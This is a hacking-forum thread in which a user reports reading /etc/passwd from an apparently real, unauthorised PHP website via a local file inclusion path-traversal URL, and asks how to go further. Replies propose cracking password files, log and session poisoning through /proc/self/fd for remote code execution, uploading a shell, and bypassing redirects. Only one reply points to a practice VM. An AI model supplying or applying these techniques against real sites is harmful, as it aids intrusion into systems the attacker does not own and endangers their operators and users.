

Forum:[Hack Forums](#)

Thread: [Need help with LFI exploit](#)

pepsin - June 19, 2018, 11:44 am

I found a PHP website that's vulnerable to a local file inclusion attack. Normal page URL looks like this: `https://example.com/index.php?pg=webpage/data/about.php`

I was able to get the contents of `/etc/passwd` by modifying the URL: `https://example.com/index.php?pg=webpage/../../../../../../../../etc/passwd`

However, the beginning of the input ("webpage") is checked and if the validation fails, the site redirects to its homepage.

So I was not able to use the PHP stream `php://filter:` and the `/proc/self/environ` trick didn't work either (it just showed a blank page).

Could you please help me out with further methods of exploiting this vulnerability? Thank you very much in advance.

This was the result for `/etc/passwd`:

```
Code root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd
Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network
Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd
Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus
Proxy,,,:/run/systemd:/bin/false syslog:x:104:108:/:/home/syslog:/bin/false
_apt:x:105:65534:/:/nonexistent:/bin/false messagebus:x:106:111:/:/var/run/dbus:/bin/false
webcron:x:979:100:webcron-by-salt,,,:/home/webcron:/bin/false
scphpcron:x:975:100:scphpcron-by-salt,,,:/home/scphpcron:/bin/false
unbound:x:995:995:unbound-by-salt,,,:/var/lib/unbound:/bin/false
scwebcron:x:976:100:scwebcron-by-salt,,,:/home/scwebcron:/bin/false
fcron:x:978:978:fcron-by-salt,,,:/var/spool/fcron:/bin/false
apacherun:x:998:998:apacherun-by-salt,,,:/nonexistent:/bin/false
apachetmp:x:997:997:apachetmp-by-salt,,,:/nonexistent:/bin/false
apachestatic:x:999:999:apachestatic-by-salt,,,:/nonexistent:/bin/false
apache:x:996:996:apache-by-salt,,,:/nonexistent:/bin/false
nullmailer:x:974:974:nullmailer-by-salt,,,:/nonexistent:/bin/false
ulog:x:107:112:/:/var/log/ulog:/bin/false
```

CyberStrike - June 19, 2018, 8:24 pm

Well `/etc/passwd` and `shadow` is where you would find the passwords, to be able to crack them, it used to be `/etc/passwd` for older linux machines. You probably can use this to profile the machine quite thoroughly for exploitation and access. (BTW why not practice on a VM from Vulnhub.com at

least it's a safe environment)

<https://highon.coffee/blog/lfi-cheat-sheet/>

Hooded Robin - June 20, 2018, 6:07 am

Try to find logs (either directly or via /proc/self/fd/ links) which should be accessible with your path validation and would allow you to achieve RCE via simple log poisoning.

Also recommend checking for any session cookies being set, and then try to find a session file you can poison if log method doesn't work.

pepsin - June 20, 2018, 10:51 am

(Jun 20, 2018 06:07 AM)Hooded Robin Wrote: [\[CITE\]](#) Try to find logs (either directly or via /proc/self/fd/ links) which should be accessible with your path validation and would allow you to achieve RCE via simple log poisoning.

Also recommend checking for any session cookies being set, and then try to find a session file you can poison if log method doesn't work.

Thank you, I'll try that. I have also found the hosting service for the website and they offer pretty standard shared linux servers (which I'm guessing they use), so I'm able to explore the file system a little more in depth and come up with a strategy.

Mr8n - June 20, 2018, 11:19 am

find root folder to upload shell

CryptoLs - June 27, 2018, 7:24 pm

Also if you're running into redirect problems try downloading the Firefox add-on "no redirect" and adding the page to it, if the webpage displays any data prior to the redirect you'll easily be able to observe it.